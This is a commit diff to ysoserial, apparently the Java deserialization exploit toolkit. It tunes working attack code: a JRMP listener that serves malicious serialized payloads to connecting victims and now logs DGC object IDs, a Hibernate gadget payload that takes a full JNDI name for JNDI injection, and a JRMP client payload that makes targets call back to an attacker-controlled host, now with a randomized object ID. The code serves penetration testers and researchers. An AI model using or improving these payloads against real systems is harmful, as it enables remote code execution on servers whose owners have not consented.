Some minor improvements

- Let JRMPListener dump the object id used in DGC calls.
- Allow full specification of JDNI name in Hibernate2, accordingly fix JRMPReverseConnectTest
- Randomize object id in JRMLClient payload for increased reliability (and side channel)

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -20,6 +20,7 @@ import java.net.URL;
 import java.rmi.MarshalException;
 import java.rmi.server.ObjID;
 import java.rmi.server.UID;
+import java.util.Arrays;
 
 import javax.management.BadAttributeValueExpException;
 import javax.net.ServerSocketFactory;
@@ -245,18 +246,33 @@ public class JRMPListener implements Runnable {
 
             @Override
             protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
+                if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
+                    return ObjID[].class;
+                } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
+                    return ObjID.class;
+                } else if ( "java.rmi.server.UID".equals(desc.getName())) {
+                    return UID.class;
+                }
                 throw new IOException("Not allowed to read object");
             }
         };
 
+        ObjID read;
         try {
-            ObjID.read(ois);
+            read = ObjID.read(ois);
         }
         catch ( java.io.IOException e ) {
             throw new MarshalException("unable to read objID", e);
         }
 
-        System.err.println("Sending return with payload");
+        
+        if ( read.hashCode() == 2 ) {
+            ois.readInt(); // method
+            ois.readLong(); // hash
+            System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
+        }
+        
+        System.err.println("Sending return with payload for obj " + read);
 
         out.writeByte(TransportConstants.Return);// transport op
         ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -49,7 +49,7 @@ public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
    
     public Object getObject ( String command ) throws Exception {
         JdbcRowSetImpl rs = new JdbcRowSetImpl();
-        rs.setDataSourceName("rmi: " + command);
+        rs.setDataSourceName(command);
         return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
     }
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -64,7 +64,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry>
             host = command.substring(0, sep);
             port = Integer.valueOf(command.substring(sep + 1));
         }
-        ObjID id = new ObjID(0); // RMI registry
+        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
         TCPEndpoint te = new TCPEndpoint(host, port);
         UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
         RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
@@ -76,6 +76,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry>
 
 
     public static void main ( final String[] args ) throws Exception {
+        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
         PayloadRunner.run(JRMPClient.class, args);
     }
 }

src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java

@@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest {
 
 
     public String getPayloadArgs () {
-        return "localhost:" + port;
+        return "rmi:localhost:" + port;
     }
 
 }